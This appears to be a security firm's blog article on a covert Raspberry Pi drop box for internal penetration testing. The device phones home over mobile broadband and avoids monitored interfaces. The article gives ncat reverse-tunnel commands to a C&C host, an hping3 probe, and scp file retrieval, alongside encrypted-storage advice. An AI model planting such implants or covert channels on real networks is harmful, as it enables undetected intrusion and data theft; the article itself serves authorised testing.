Raspberry Pi Remote Access - Stealthy Approach to Internal Network Penetration Testing

Raspberry Pi Remote Access

Stealthy Approach to Internal Network Penetration Testing

Ahmet Hrnjadovic
by Ahmet Hrnjadovic
time to read: 12 minutes


How to use Raspberry Pi for stealthy Remote Access

  • A Raspberry Pi with a broadband connection can be deployed for stealthy internal network penetration testing
  • The Communication Channel can be secured using SSH
  • Encrypted containers should be used to secure data on the Raspberry Pi
  • Ensuring data integrity remains an issue on a partially unencrypted, unsupervised device

Too often have we heard adventurous stories of internal network penetration testers having to hide somewhere in their target environment. Sometimes after work hours, maybe in a dark meeting room, in constant danger of being discovered with just the promise of the treasures from the network port driving them forward. In this day and age it should not have to be this way. The word of novel technological advancements is muttered on the streets. You hear of small mobile computing devices. Mobile broadband internet, they say.

The script phone_home.sh presented in this article is intended to be run on a device such as a Raspberry Pi. Its job is to reliably establish and maintain a communication channel for the Penetration Tester to access the device. The script can be found on our GitHub page.


In its default configuration the script will try to use an active UMTS device to phone home, such as the Huawei e3372 LTE stick which we used for testing. In a first step, the script starts a wireless hotspot using hostapd. So even if phoning home over a broadband connection fails, the Raspberry Pi can still be accessed as long as it’s possible to work in its vicinity.

Next, the script checks if any interface to phone home on is available. To prevent the script from phoning home on an interface which may be NAC-restricted or otherwise monitored, only interfaces with whitelisted MAC addresses are used. If no whitelisted interface is found or a whitelisted interface is lost, the script checks for a new interface every 5 seconds. This allows for flexible hotplugging of whitelisted devices after the Raspberry Pi is already deployed and script execution has begun. After an interface is found, the script currently configures it with dhclient. With active UMTS devices such as the Huawei e3372 or even wireless ones such as the Huawei E5577 which run their own DHCP server and do NAT, this is the desired procedure.

To make the script flexible, the interface configuration, like other tasks, is contained in its own function conf_iface which can be easily swapped out in the main routine.

In a next step the script adds static routes for all configured hosts to phone home to. These home locations are also whitelisted in the iptables OUTPUT chain of the filter table to prevent the pentester from being locked out when using the NAC bypass script. Finally, the script tries to connect to each configured home location.

The control channel is designed to use SSH, for both the big security and usability benefits it offers over other mechanisms. One problem encountered is that the home location cannot connect to the Raspberry Pi on demand first because many commercial active UMTS devices use NAT. At first it appeared the only way to serve an SSH shell in a host behind NAT is by remote port forwarding. This would require the Raspberry Pi to first SSH into the home location, and then forward the remote port. This is not a viable solution because the Raspberry Pi is deployed unsupervised in a potentially hostile environment. An individual could find the Raspberry Pi and use the private keys present on the device to ssh into the C&C server, which would be catastrophic.

Here, SSH’s ProxyCommand option comes into play. The ProxyCommand directive can take anything that reads SSH data from its stdin and writes returning data to its stdout. So as long as the data reaches an SSH server somewhere on the other end, an SSH connection should be possible. The script attempts to connect to the home location with the following command:

ncat $_host $_port --wait 10 --sh-exec "ncat $SSHD_PORT"

We can receive the connection with this command on the C&C server:

ssh -o "ProxyCommand ncat -vlp <port>" <user>@localhost

SSH isn’t involved in establishing the TCP connection with the remote host so we can just supply it localhost. Once the ncat instance on the Raspberry Pi connects to the ncat listener on the C&C server, it executes another ncat instance which connects to the local SSH server to which it forwards all traffic data. Now all SSH traffic is tunneled through our TCP connection and we have a reverse SSH shell from an untrusted device (the Raspberry Pi) through NAT with no need for private keys on the Raspberry Pi.

The script checks all configured home locations every 60 seconds and connects to the first one which is available. To do this it only sends a TCP SYN without completing the handshake to avoid closing the remote listener:

[[ -n $(hping3 --syn -c 3 $_host -p $_port | grep -m 1 -io "flags=SA") ]] &&
ncat $_host $_port --wait 10 --sh-exec "ncat $SSHD_PORT"

Another functionality is the monitoring of USB devices. When an unexpected USB device is detected, the Raspberry Pi shuts down. This is a rudimentary security feature that is rather more designed to prevent low threats from poking around inside the device if they find it. Nothing prevents anyone from taking out the Raspberry Pi’s SD card and examining its contents on another device. This functionality may be removed again at a later point because the shutting down of the device may be an inconvenience to the penetration tester and not be worth the non-existent security benefit it offers. This feature is not activated by default.

Throughout the script checks and retries are implemented to add resilience against seemingly random failures encountered during testing such as UMTS stick registration failures or dropped packets due to the UMTS stick suspending after short periods of inactivity.


The script takes no command line arguments because it is designed to be run at boot. There is a companion script prep.sh which can be run on Debian-based systems to install the necessary packages from the repos and write configuration files for hostapd and udhcpd (Busybox version of DHCP server for ARM devices). This should only have to be run once during device setup.

Variables in a configuration file can be modified to configure the scripts behavior. The configuration file is just a list of bash-syntax variable definitions which are imported at runtime. The configuration is imported by both phone_home.sh and prep.sh and eliminates the need for changing identical variables in both scripts.

For a minimal setup of the phone_home.sh script, following variables should be set:

To enable the wireless hotspot as a fallback, set DISABLE_HOTSPOT to 0 and set the WIRELESS_IFACE variable to the name of your wireless interface.

To use the simple USB monitoring feature, just plug in the USB devices that are supposed to be whitelisted and paste the full output of lsusb into the GOOD_USB variable. Set USB_DEBUG to 1 for testing.

To pull files off the device, scp can be used with the same method as with ssh.

scp -o "ProxyCommand ncat -vlp <port>" <user>@localhost:/<remote_source>/ /<local_target>

Again, the script tries to connect to every configured C&C host and port combination configured in 60 second intervals. If an existing SSH session is active, the script pauses connection retries. In this case, the same command as in the script can be called manually:

ncat -v <ip> <port> --sh-exec "ncat <SSHD_PORT>"

During testing with the Huawei e3372 the established SSH sessions froze after a few minutes of inactivity due to the UMTS stick suspending. The stick cannot be woken up with external traffic. Thus, the SSH session cannot be reactivated once the stick is suspended. To avoid this, the ServerAliveInterval option can be used with ssh to act as a keepalive:

ssh -o "ProxyCommand ncat -vlp <port>" -o "ServerAliveInterval 20" <user>@localhost

This example sends a message through the encrypted channel to request a response from SSH ssh server after no data has been received for 20 seconds, fitting our need perfectly. After closing the SSH session, the script will continue to check for open listeners every 60 seconds.

Security Considerations

Deploying an unsupervised device comes with its own risks and challenges. First, the Raspberry Pi cannot be encrypted because it has to be able to boot autonomously. Luckily we managed to not store any private keys on the device. To store any sensitive data, an encrypted volume should be used after SSH’ing into the Raspberry Pi.

Allocate some space to a file and format it as an encrypted volume:

$ fallocate -l 5G crypted
# cryptsetup luksFormat crypted

Open it and mount it somewhere, for example your home directory:

# cryptsetup luksOpen crypted crypthome
# mount /dev/mapper/crypthome /<homedir>/

This can be accomplished easily by running a simple script located in the user’s home directory:


cryptsetup luksOpen /root/crypted crypthome
mount -o rw,nodelalloc /dev/mapper/crypthome $HOME
exec bash

This assumes the encrypted volume is /root/crypted. One should keep in mind that everything outside the encrypted volume cannot be trusted strictly speaking. Especially after events such as a long shutdown of the Raspberry Pi, where the SD card could have been removed and its contents modified.

Even contents of the encrypted volume cannot be trusted, since they can be modified just the same after opening the volume if the rest of the system is compromised. To minimize the risk of the compromise affecting devices other than the Raspberry Pi, SSH agent forwarding should be disabled. SSH agent forwarding is useful because it allows for host 0 to SSH into host 1, and then continue to SSH into host 2 from host 1. Host 2’s authentication request is forwarded through host 1 back to host 0. The authentication succeeds seamlessly depending on the agent used. If the Raspberry Pi is compromised, agent forwarding can be abused to SSH into any host which has your public keys configured.

Next Steps

To minimize downtime of another Device which previously occupied a network port, traffic to one interface should automatically be forwarded to the second interface. This assumes we have 3 interfaces, 2 of which are not associated with the Control Channel to the C&C Server.

About the Author

Ahmet Hrnjadovic

Ahmet Hrnjadovic is working in cybersecurity since 2017. There he is focused in topics like Linux, secure development and web application security testing. (ORCID 0000-0003-1320-8655)


You want to test the security of your firewall?

Our experts will get in contact with you!

Enhancing Data Understanding

Enhancing Data Understanding

Rocco Gagliardi

Brain before post

Brain before post

Michèle Trebo

Dynamic Analysis of Android Apps

Dynamic Analysis of Android Apps

Ralph Meier

Security Testing

Security Testing

Tomaso Vasella

You want more?

Further articles available here

You need support in such a project?

Our experts will get in contact with you!

You want more?

Further articles available here